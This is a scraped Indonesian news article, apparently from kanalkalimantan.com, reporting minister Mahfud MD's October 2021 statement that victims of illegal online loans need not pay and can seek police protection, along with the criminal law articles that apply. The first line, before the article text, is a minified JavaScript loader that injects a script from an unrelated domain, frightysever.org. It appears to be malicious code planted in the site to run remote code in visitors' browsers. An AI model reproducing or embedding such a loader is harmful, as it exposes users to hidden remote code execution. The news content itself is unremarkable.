(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – Menteri Koordinator bidang Politik, Hukum dan Keamanan (Menko Polhukam) Mahfud MD meminta kepada korban pinjaman online (pinjol) untuk tidak meneruskan pembayaran.
Mahfud mengatakan secara hukum perdata, pinjol itu menjadi perusahaan yang tidak sah.
“Kepada mereka yang terlanjur menjadi korban, jangan membayar, jangan membayar,” kata Mahfud dalam konferensi pers yang disiarkan melalui YouTube Kemenko Polhukam, Selasa (19/10/2021).
Mantan Ketua MK ini menuturkan, jika mereka yang tidak mau membayar pinjaman online menerima teror dari pihak pinjol, Mahfud meminta masyarakat untuk segera melapor ke kantor polisi terdekat.
Baca juga : Kepepet Modal Nikah, Junaidi Curi Motor Pakai Mobil Akhirnya ‘Didor’ Polsek Banjarbaru Kota!
“Kalau karena tidak membayar lalu ada yang tidak terima, diteror, lapor ke kantor polisi terdekat. Polisi akan memberikan perlindungan,” ujarnya.
Terkait dengan perusahaan pinjol ilegal, Mahfud mengancam akan adanya hukum pidana. Terlebih kalau perusahaan pinjol ilegal sudah melakukan pemerasan hingga teror kepada nasabahnya.
“Misalnya ancaman kekerasan, ancaman menyebar foto-foto tidak senonoh dari orang yang punya utang kalau tidak bayar. Itu terus sekarang bandar-bandarnya,” ujarnya.
Kalau misalkan terbukti ada tindakan pemerasan, pihak kepolisian bisa menggunakan Pasal 368 KUHPidana.
Baca juga : PUPR Banjar Gelar Sosialisasi Perda Tentang RTRW Kabupaten Banjar Tahun 2021-2041
Selain itu Mahfud juga menyebut ada Pasal 335 KUHPidana tentang perbuatan tidak menyenangkan yang menurut Mahfud bisa digunakan.
Selain itu, ada Undang-Undang Perlindungan Konsumen dan Undang-undang ITE Pasal 29 dan Pasal 32 Ayat 2 dan Ayat 3.
“(Pinjol) ilegal ini akan kita tindak dengan ancaman hukum pidana seperti itu tadi, Bareskrim Polri akan memverifikasi gerakannya.” (Suara.com)
Editor : Suara
KANALKALIMANTAN.COM, PARINGIN - Desa Balida, Kecamatan Paringin untuk kali ketiga mengelar gebyar desa. Acara bertajuk… Read More
KANALKALIMANTAN.COM, BANJARBARU - Destinasi wahana mandi busa pertama hadir di Kota Banjarbaru menjadi pilihan warga… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Momentum Natal dan Tahun Baru 2025, Kesatuan Aksi Mahasiswa Muslim Indonesia (KAMMI)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Srikandi PLN Unit Induk Penyaluran dan Pusat Pengatur Beban Kalimantan bersama dengan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Tersangka kasus dugaan korupsi, Kepala Desa Sungai Alat Kecamatan Astambul, P (45)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Puluhan warga Banjarmasin harus kehilangan tempat tinggal dan mengungsi akibat kebakaran permukiman… Read More
This website uses cookies.